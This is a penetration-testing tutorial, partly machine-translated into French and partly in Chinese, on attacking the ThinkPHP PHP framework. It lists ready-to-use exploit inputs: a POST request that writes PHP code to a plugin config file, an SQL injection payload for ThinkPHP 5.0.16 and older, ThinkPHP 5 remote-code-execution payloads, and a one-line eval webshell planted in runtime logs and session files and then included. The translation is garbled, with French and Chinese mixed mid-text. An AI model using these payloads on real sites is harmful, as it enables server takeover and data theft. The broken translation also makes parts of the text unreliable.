Ce qui suit est la colonne du didacticiel du framework thinkphp pour vous présenter quelques méthodes de pénétration de ThinkPHP. J'espère qu'elle sera utile aux amis dans le besoin !
ThinkPHP est un framework de développement PHP domestique léger, rapide, compatible et simple qui peut prendre en charge Windows/Unix/Linux et d'autres environnements de serveur. La version officielle nécessite PHP5.0 ou supérieur et prend en charge MySql, PgSQL, Sqlite Divers. bases de données et extensions PDO.
Journal d'exécution
Dans la version ThinkPHP3, le fichier d'entrée index.php se trouve dans le même répertoire que le répertoire de l'application et le répertoire du framework, et se trouve dans le DEBUG activé state Ensuite, un fichier journal sera généré au moment de l'exécution, divulguant le compte et le mot de passe de certains administrateurs pour se connecter au backend, etc. Les règles de dénomination des fichiers journaux de tp3 sont : répertoire racine (ou répertoire d'application)/Runtime/Logs/Admin/20_08_17.log (2 premiers chiffres de year_month_day.log)
Dans la version tp5, l'index du fichier d'entrée se trouve dans le répertoire public, qui n'est pas dans le même répertoire que le répertoire de l'application et le répertoire du framework. Cependant, certains administrateurs placeront le fichier d'entrée dans le répertoire de l'application, Le répertoire du framework est le même répertoire. La règle de dénomination pour tp5 est :
./runtime/log/202008/17.log (./runtime/log/yearmonth/day.log)
fonction file_put_contents
Dans ThinkPHP3, l'arrière-plan écrit parfois des fichiers de configuration sur getshell, j'ai donc tendance à rechercher ce file_put_contents fonctionner globalement, puis trouver un code sur Internet - yershop (la version développée par TP3) pour l'audit. L'arrière-plan peut obtenir le shell en écrivant des fichiers. Recherchez globalement la fonction file_put_contents et constatez que la version dans le contrôleur AddonsController.class.php existe.
On constate qu'il existe deux fichiers d'écriture Le premier doit remplir les conditions suivantes :
$addon_dir可控,$data可控,$addonModel可控
Le second. il faut répondre à :
$data['has_config'] == 1,$addon_dir可控
Le traçage a révélé que $data est obtenu à partir du POST global et que tout est contrôlable, c'est-à-dire que $addon_dir est contrôlable.
Construisez la charge utile comme suit et créez une extension en arrière-plan.
Cliquez sur OK pour capturer le paquet. Tout d'abord, il déterminera si le plug-in avec le nom d'identification existe. l’accès à la construction sera exécuté.
Puisque le fichier config.php doit être écrit dans $data['has_config'] == 1, la charge utile est enfin construite.
Visite : index.php?s=/Admin/Addons/build.html
POST envoyé :
info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09'random'%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09'title'%3D%3E'%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A'%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09'type'%3D%3E'radio'%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09'options'%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09'1'%3D%3E'%E5%BC%80%E5%90%AF'%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09'0'%3D%3E'%E5%85%B3%E9%97%AD'%2C%0D%0A%09%09)%2C%0D%0A%09%09'value'%3D%3E'1'%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list='model'%3D%3E'Example'%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09'fields'%3D%3E'*'%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09'map'%3D%3E''%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09'order'%3D%3E'id+desc'%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09'list_grid'%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++'cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2'%2C%0D%0A++++++++++++++++'title%3A%E4%B9%A6%E5%90%8D'%2C%0D%0A++++++++++++++++'description%3A%E6%8F%8F%E8%BF%B0'%2C%0D%0A++++++++++++++++'link_id%7Cget_link%3A%E5%A4%96%E9%93%BE'%2C%0D%0A++++++++++++++++'update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4'%2C%0D%0A++++++++++++++++'id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4'%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=<?php phpinfo();?>
Écrivez avec succès le fichier config.php, visitez Addons/Example /config.php.
Ainsi, dans le code source développé par tp3, il est facile de remporter le prix en recherchant globalement file_put_contents.
RCE provoqué par Auth
Dans tp3, il y a une fonction eval dans la méthode getAuthList d'Auth, suivez le code
ThinkPHPLibraryThinkAuth.class. php.
Ici, vous devez vous assurer que la variable $command est contrôlable, alors vous pouvez lancer une commande, $command est le champ de condition de [préfixe de table] _auth_rule, ou utilisez le code source de yershop Pour analyser, la table qui contrôle les autorisations est yershop_auth_rule.
Par conséquent, pour déclencher la vulnérabilité, vous devez écrire du code malveillant dans le champ de condition. Vous devez utiliser l'injection et prendre en charge pdo pour l'écrire. po tp3 est basé sur pdo Pour se connecter à la base de données, pdo est satisfait ici, vous devez donc trouver le point d'injection pour getshell.
Dans la méthode détail du fichier ApplicationHomeControllerOrderController.class.php, obtenez le paramètre id via la méthode I.
利用pdo修改condition字段
继续分析,怎么调用到getAuthList这个方法的,在Application\Admin\Controller\AdminController.class.php控制器中,调用了checkRule方法,在checkRule方法实列了Auth类,并调用了check方法。
跟进check方法:
在104行调用了我们的getAuthList方法,执行到了eval函数处。要触发rce,从代码中可以看到需要普通用户的权限才会执行到checkRule方法,所以先添加一个新用户并新增一个用户组,给文章管理的权限。
登录这个用户,访问注入修改的路由,成功rce。
SQL注入
在TP3.1.3和TP3.2.3注入都差不多,无非就表达式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析过关于tp3.2.3的注入,这里主要是TP5的注入。
ThinkPHP<=5.0.16 insert/update注入
在ThinkPHP5中,获取请求方式的方法是input,在控制器中,写个存在漏洞的demo:
public function getuser(){ $username = input('get.username/a'); $user = db('user')->where(['uid'=>1])->update(['username'=>$username]); dump($user); }
漏洞payload:
username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
在user变量处,断点进行分析,直接进入update方法。
继续跟进$this->builder->update
在parseData方法中,进行了sql语句的拼接。
当参数传入数组的时候,下标0为exp时候,直接返回下标为1的参数值,而为inc或者dec时候,通过parseKey方法处理了下标为1的参数值,跟进查看parseKey方法:
protected function parseKey($key, $options = []) { $key = trim($key); if (strpos($key, '$.') && false === strpos($key, '(')) { // JSON字段支持 list($field, $name) = explode('$.', $key); $key = 'json_extract(' . $field . ', \'$.' . $name . '\')'; } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { list($table, $key) = explode('.', $key, 2); if ('__TABLE__' == $table) { $table = $this->query->getTable(); } if (isset($options['alias'][$table])) { $table = $options['alias'][$table]; } } if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { $key = '`' . $key . '`'; } if (isset($table)) { if (strpos($table, '.')) { $table = str_replace('.', '`.`', $table); } $key = '`' . $table . '`.' . $key; } return $key; }
然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤。
public function filterExp(&$value) { // 过滤查询特殊字符 if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) { $value .= ' '; } // TODO 其他安全过滤 }
当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等。同样,利用insert方法向数据库插入数据也是同种原理。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln
TP5 rce漏洞
TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1
TP5rce的分析网上也比较多了,这里主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题。
runtime文件包含拿shell
先写入一句话到runtime日志中,POST发送。
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['cmd'])?>
runtime的日志文件为./runtime/log/202008/17.log
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();
session文件包含拿shell
写入session文件
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1
一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID]。
_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();
其实也可以用反序列化的点来,只是有点麻烦,需要去调代码。
_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化
反序列化
反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点。由于TP5-6的反序列化分析篇幅比较大,可以直接看下面文章进行深度学习:
Thinkphp5.0.24反序列:https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Thinkphp5.1.x反序列:https://jfanx1ng.github.io/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
Thinkphp6.x反序列:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
phar反序列化挖掘案列:https://bbs.ichunqiu.com/thread-57947-1-1.html
今天的文章分享,小伙伴们看懂了吗?
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!